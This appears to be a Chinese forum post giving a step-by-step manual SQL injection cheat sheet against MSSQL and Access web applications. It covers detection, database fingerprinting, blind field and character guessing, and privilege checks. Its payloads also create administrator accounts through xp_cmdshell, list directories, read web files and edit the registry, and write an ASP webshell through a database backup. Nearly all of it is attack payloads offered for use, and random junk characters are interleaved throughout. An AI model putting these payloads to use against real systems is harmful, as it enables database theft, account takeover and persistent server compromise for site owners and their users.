手工脚本注入

admin

手工脚本注入
6 Z. }6 v1 `  a. c' M6 u. L5 K  n  A1.判断是否有注入;and 1=1 ;and 1=2
" c% k/ E/ _% r+ ~3 @- o
* ~) T8 \8 J# ]$ ^" p9 N1 D7 S2.初步判断是否是mssql ;and user>0

) E# i( c0 A" S* D, q3.注入参数是字符'and [查询条件] and ''='

# x# V5 w7 k  k4.搜索时没过滤参数的'and [查询条件] and '%25'='
$ Y* N9 Q( k! p) n- h' C. @/ J6 C8 a
! M% r8 X; @5 I# X5.判断数据库系统
' }% y: s- d: ]3 _4 d;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

% y+ U( ^& n9 V. q6 g# M6.猜数据库 ;and (select Count(*) from [数据库名])>0

" }+ W- R! U" s/ G9 J4 E6 S$ A# G7.猜字段 ;and (select Count(字段名) from 数据库名)>0

8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值（access）
# H5 b8 B( x" H9 Y8 k;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

2 ?3 e/ |3 G4 A; U; ^& _(2)猜字段的ascii值（mssql）
" X/ D7 u* p1 {4 e+ ^;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构（mssql）
4 R, m. W5 _! `! l% U1 t;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
. ^% J7 z0 p( I  N; `6 @;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--

4 G$ G* u( ~1 Q5 ]( h. r11.添加mssql和系统的帐户
( g0 l" i! n/ ^3 t0 f8 m+ J;exec master.dbo.sp_addlogin username;--

;exec master.dbo.sp_password null,username,password;--

' N, Y9 L0 k! H3 G4 Z& `;exec master.dbo.sp_addsrvrolemember sysadmin username;--

4 V' V% b# |8 D6 s4 H3 P;exec master.dbo.xp_cmdshell 'net user username password
& Q, a3 B! M3 L( r4 d: D/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--

% s7 E# G% r4 @# ~8 w9 m' ?( B;exec master.dbo.xp_cmdshell 'net user username password /add';--

2 [, r7 ]8 [& ~; [. q* h5 `;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
# [5 C9 ~: z: A, t
12.(1)遍历目录
9 ]- |2 r- O  ^7 l* j8 R
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
* e! x& ^  S8 j2 ~, z;and (select top 1 paths from dirs)>0
' ]6 I; z, r' q3 J) D;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
4 S! q! F' K8 j, o. L! \2 U
# j- ?* _# Q$ I2 N) ^* S(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
# Z& T& V: N6 X4 w7 L+ G;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
  w6 ?% B* c; B0 o! C6 V+ y;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
) |4 }9 y4 E) R% I;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

: c  }9 q) F  Y1 G- H' ]9 \9 t" k13.mssql中的存储过程

) b% ?& \4 Z) _$ n, Cxp_regenumvalues 注册表根键, 子键
' N+ C1 j- c# {5 t. x;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
& l( y3 x3 l! u0 R8 v5 }
& k  i9 D1 L: n4 P. J3 qxp_regread 根键,子键,键值名
1 `5 X  i. Q' q# Z;exec xp_regread
1 N; s3 T- j1 N6 ~3 B'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值

$ K2 l; v9 L' Zxp_regwrite 根键,子键, 值名, 值类型, 值
$ V3 }; Z, _( z" [$ ?值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表

xp_regdeletevalue 根键,子键,值名
, h- @" e4 `( D7 ?& I$ {
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
  h$ u3 k' ^. E1 ^& C) [" A' k  \& x
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
" ]/ v" i. ~- ~: {
14.mssql的backup创建webshell
& Y( z9 H* @) tuse model
0 B2 m5 g6 o. N2 o- @. Lcreate table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='c:\l.asp';
) Y# u5 }% L# J2 i1 M) U& X
$ u" [! i. j; u# ~- z( V( F. F15.mssql内置函数
5 W0 X& ^4 `" D0 @1 x. Z;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
9 c" N8 F- [- B( H3 a% A3 Z;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库
) g$ P- i  ^& N$ k
16.简洁的webshell
' ?; J1 T6 B( }( t; \
4 L0 z0 B& t( \1 |* buse model

) I, Z1 T: B5 y, u* `, _3 `! ^1 G) @% xcreate table cmd(str image);
. C8 _. _) I. V' H
insert into cmd(str) values ('');

5 n8 ?4 G9 _2 i3 h" q- cbackup database model to disk='g:\wwwtest\l.asp';

老男孩

现在很多防注入啊，有其他注入字符码